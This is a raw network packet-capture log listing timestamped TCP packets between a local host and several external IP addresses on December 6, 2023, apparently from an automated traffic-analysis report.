Dec 6, 2023 14:33:13.194822073 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.194828033 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.194865942 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.194895983 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.195409060 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.195431948 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.195476055 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.195482969 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.195527077 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.195549965 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.196208000 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.196243048 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.196288109 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.196296930 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.196340084 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.196357965 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.196916103 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.196933985 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.196983099 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.196990013 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.197036028 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.197550058 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.197570086 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.197633028 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.197639942 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.197675943 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.197710991 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.197936058 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.197957993 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.198028088 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.198034048 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.198072910 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.198252916 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.198275089 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.198342085 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.198348045 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.198388100 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.199043989 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.199065924 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.199136019 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.199141026 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.199184895 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.199956894 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.199974060 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.200025082 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.200031042 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.200073004 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.200777054 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.200797081 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.200845003 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.200851917 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.200891972 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.201488972 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.201519966 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.201545954 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.201550961 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.201595068 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.201916933 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.201931953 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.201977968 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.201984882 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.202023983 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.202284098 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.202301025 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.202331066 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.202337980 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.202358007 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.202384949 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.202641010 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.202661037 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.202708960 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.202714920 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.202754021 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.203016043 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.203047991 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.203073978 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.203078985 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.203120947 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.203423977 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.203438997 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.203500986 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.203506947 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.203543901 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.203577995 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.203836918 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.203862906 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.203928947 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.203934908 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.203974009 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.204355001 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.204386950 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.204431057 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.204437971 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.204483986 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.204504013 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.204727888 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.204763889 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.204796076 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.204802036 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.204847097 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.205113888 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.205136061 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.205202103 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.205209017 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.205234051 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.205269098 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.205430031 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.205463886 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.205498934 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.205507994 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.205550909 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.205578089 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.205885887 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.205912113 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.205950975 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.205955982 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.206006050 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.206290007 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.206305981 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.206370115 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.206376076 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.206420898 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.206681967 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.206710100 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.206746101 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.206751108 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.206777096 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.206800938 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.207129955 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.207158089 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.207185984 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.207191944 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.207231998 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.207618952 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.207643986 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.207672119 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.207678080 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.207704067 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.207725048 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.208255053 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.208292007 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.208317995 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.208323956 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.208364010 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.209646940 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.352299929 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.352370024 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.352631092 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.352636099 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.352669954 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.352675915 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.352747917 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.352772951 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.352791071 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.352849007 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.354592085 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.354661942 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.354726076 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.354733944 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.354803085 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.355766058 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.355897903 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.355921984 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.355931997 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.355998993 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.356224060 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.356332064 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.356421947 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.356429100 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.356491089 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.356913090 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.357002020 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.357021093 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.357054949 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.357084990 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.357141018 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.357497931 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.357549906 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.357570887 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.357589960 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.357636929 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.357968092 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.358057976 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.358092070 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.358160973 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.358266115 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.358309031 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.358334064 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.358344078 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.358375072 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.358397961 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.358468056 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.358524084 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.358536959 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.358542919 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.358586073 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.358649969 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.358702898 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.358901024 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.358916998 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:14.309712887 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:14.309762001 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:14.309835911 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:14.315387011 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:14.315403938 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:14.738295078 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:14.738496065 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:14.740761995 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:14.740772009 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:14.741347075 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:14.788291931 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:15.109147072 CET	49703	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:15.109252930 CET	49703	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:15.110671043 CET	49715	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:15.110713005 CET	443	49715	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:15.110791922 CET	49715	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:15.111267090 CET	49715	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:15.111284018 CET	443	49715	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:15.191626072 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:15.236735106 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:15.262125015 CET	443	49703	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:15.262151003 CET	443	49703	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:15.433329105 CET	443	49715	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:15.433413029 CET	49715	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:15.456387997 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:15.456450939 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:15.456471920 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:15.456520081 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:15.456525087 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:15.456552982 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:15.456569910 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:15.456640005 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:15.456640005 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:15.456640005 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:15.456975937 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:15.457127094 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:15.457138062 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:15.457216978 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:15.457372904 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:15.709278107 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:15.709314108 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:15.709355116 CET	49711	443	192.168.2.5	13.85.23.86
Dec 6, 2023 14:33:15.709362984 CET	443	49711	13.85.23.86	192.168.2.5
Dec 6, 2023 14:33:15.917128086 CET	49715	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:15.917201042 CET	443	49715	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:15.918448925 CET	443	49715	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:15.918531895 CET	49715	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:15.947738886 CET	49715	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:15.947870016 CET	443	49715	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:15.948132038 CET	49715	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:15.948149920 CET	443	49715	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:16.351532936 CET	443	49715	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:16.351643085 CET	49715	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:16.351672888 CET	443	49715	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:16.351737022 CET	49715	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:16.351819038 CET	443	49715	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:16.351876020 CET	49715	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:18.118737936 CET	49718	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:33:18.183024883 CET	49719	80	192.168.2.5	51.142.119.24
Dec 6, 2023 14:33:18.331975937 CET	1203	49718	95.142.47.11	192.168.2.5
Dec 6, 2023 14:33:18.332215071 CET	49718	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:33:18.351490974 CET	80	49719	51.142.119.24	192.168.2.5
Dec 6, 2023 14:33:18.352149963 CET	49719	80	192.168.2.5	51.142.119.24
Dec 6, 2023 14:33:18.352473974 CET	49719	80	192.168.2.5	51.142.119.24
Dec 6, 2023 14:33:18.378297091 CET	49718	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:33:18.560235023 CET	80	49719	51.142.119.24	192.168.2.5
Dec 6, 2023 14:33:18.591708899 CET	1203	49718	95.142.47.11	192.168.2.5
Dec 6, 2023 14:33:18.594446898 CET	49718	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:33:18.808566093 CET	1203	49718	95.142.47.11	192.168.2.5
Dec 6, 2023 14:33:18.850022078 CET	49718	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:33:18.908165932 CET	49718	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:33:18.963184118 CET	80	49719	51.142.119.24	192.168.2.5
Dec 6, 2023 14:33:18.964741945 CET	49719	80	192.168.2.5	51.142.119.24
Dec 6, 2023 14:33:19.175563097 CET	1203	49718	95.142.47.11	192.168.2.5
Dec 6, 2023 14:33:19.505579948 CET	49721	443	192.168.2.5	142.251.111.100
Dec 6, 2023 14:33:19.505621910 CET	443	49721	142.251.111.100	192.168.2.5
Dec 6, 2023 14:33:19.505680084 CET	49721	443	192.168.2.5	142.251.111.100
Dec 6, 2023 14:33:19.505847931 CET	49721	443	192.168.2.5	142.251.111.100
Dec 6, 2023 14:33:19.505855083 CET	443	49721	142.251.111.100	192.168.2.5
Dec 6, 2023 14:33:19.506335974 CET	49722	443	192.168.2.5	172.253.115.84
Dec 6, 2023 14:33:19.506371975 CET	443	49722	172.253.115.84	192.168.2.5
Dec 6, 2023 14:33:19.506438017 CET	49722	443	192.168.2.5	172.253.115.84
Dec 6, 2023 14:33:19.507016897 CET	49722	443	192.168.2.5	172.253.115.84
Dec 6, 2023 14:33:19.507035971 CET	443	49722	172.253.115.84	192.168.2.5
Dec 6, 2023 14:33:19.513905048 CET	49723	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.513941050 CET	443	49723	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.513998985 CET	49723	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.514252901 CET	49723	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.514271975 CET	443	49723	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.514884949 CET	49724	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.514904022 CET	443	49724	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.514987946 CET	49724	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.515227079 CET	49724	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.515235901 CET	443	49724	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.776834965 CET	443	49724	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.777195930 CET	49724	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.777225971 CET	443	49724	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.778939009 CET	443	49724	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.779025078 CET	49724	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.780266047 CET	49724	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.780498981 CET	49724	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.780508995 CET	443	49724	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.780536890 CET	443	49724	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.782916069 CET	443	49723	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.783128977 CET	49723	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.783138990 CET	443	49722	172.253.115.84	192.168.2.5
Dec 6, 2023 14:33:19.783152103 CET	443	49723	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.783323050 CET	49722	443	192.168.2.5	172.253.115.84
Dec 6, 2023 14:33:19.783354044 CET	443	49722	172.253.115.84	192.168.2.5
Dec 6, 2023 14:33:19.784620047 CET	443	49723	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.784684896 CET	49723	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.784799099 CET	443	49722	172.253.115.84	192.168.2.5
Dec 6, 2023 14:33:19.784862995 CET	49722	443	192.168.2.5	172.253.115.84
Dec 6, 2023 14:33:19.785639048 CET	49723	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.785717964 CET	443	49723	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.787743092 CET	49722	443	192.168.2.5	172.253.115.84
Dec 6, 2023 14:33:19.787976027 CET	49722	443	192.168.2.5	172.253.115.84
Dec 6, 2023 14:33:19.787985086 CET	443	49722	172.253.115.84	192.168.2.5
Dec 6, 2023 14:33:19.788013935 CET	443	49722	172.253.115.84	192.168.2.5
Dec 6, 2023 14:33:19.822715044 CET	49727	80	192.168.2.5	104.21.90.147
Dec 6, 2023 14:33:19.834028959 CET	49722	443	192.168.2.5	172.253.115.84
Dec 6, 2023 14:33:19.834048033 CET	49723	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.834058046 CET	443	49722	172.253.115.84	192.168.2.5
Dec 6, 2023 14:33:19.834063053 CET	49724	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.834073067 CET	443	49723	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.834088087 CET	443	49724	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:19.834250927 CET	443	49721	142.251.111.100	192.168.2.5
Dec 6, 2023 14:33:19.835386038 CET	49721	443	192.168.2.5	142.251.111.100
Dec 6, 2023 14:33:19.835397959 CET	443	49721	142.251.111.100	192.168.2.5
Dec 6, 2023 14:33:19.836040974 CET	443	49721	142.251.111.100	192.168.2.5
Dec 6, 2023 14:33:19.836127996 CET	49721	443	192.168.2.5	142.251.111.100
Dec 6, 2023 14:33:19.837095976 CET	443	49721	142.251.111.100	192.168.2.5
Dec 6, 2023 14:33:19.837162971 CET	49721	443	192.168.2.5	142.251.111.100
Dec 6, 2023 14:33:19.839951038 CET	49721	443	192.168.2.5	142.251.111.100
Dec 6, 2023 14:33:19.840197086 CET	49721	443	192.168.2.5	142.251.111.100
Dec 6, 2023 14:33:19.840203047 CET	443	49721	142.251.111.100	192.168.2.5
Dec 6, 2023 14:33:19.840228081 CET	443	49721	142.251.111.100	192.168.2.5
Dec 6, 2023 14:33:19.882087946 CET	49722	443	192.168.2.5	172.253.115.84
Dec 6, 2023 14:33:19.882100105 CET	49723	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:19.882184029 CET	49724	443	192.168.2.5	172.67.213.153
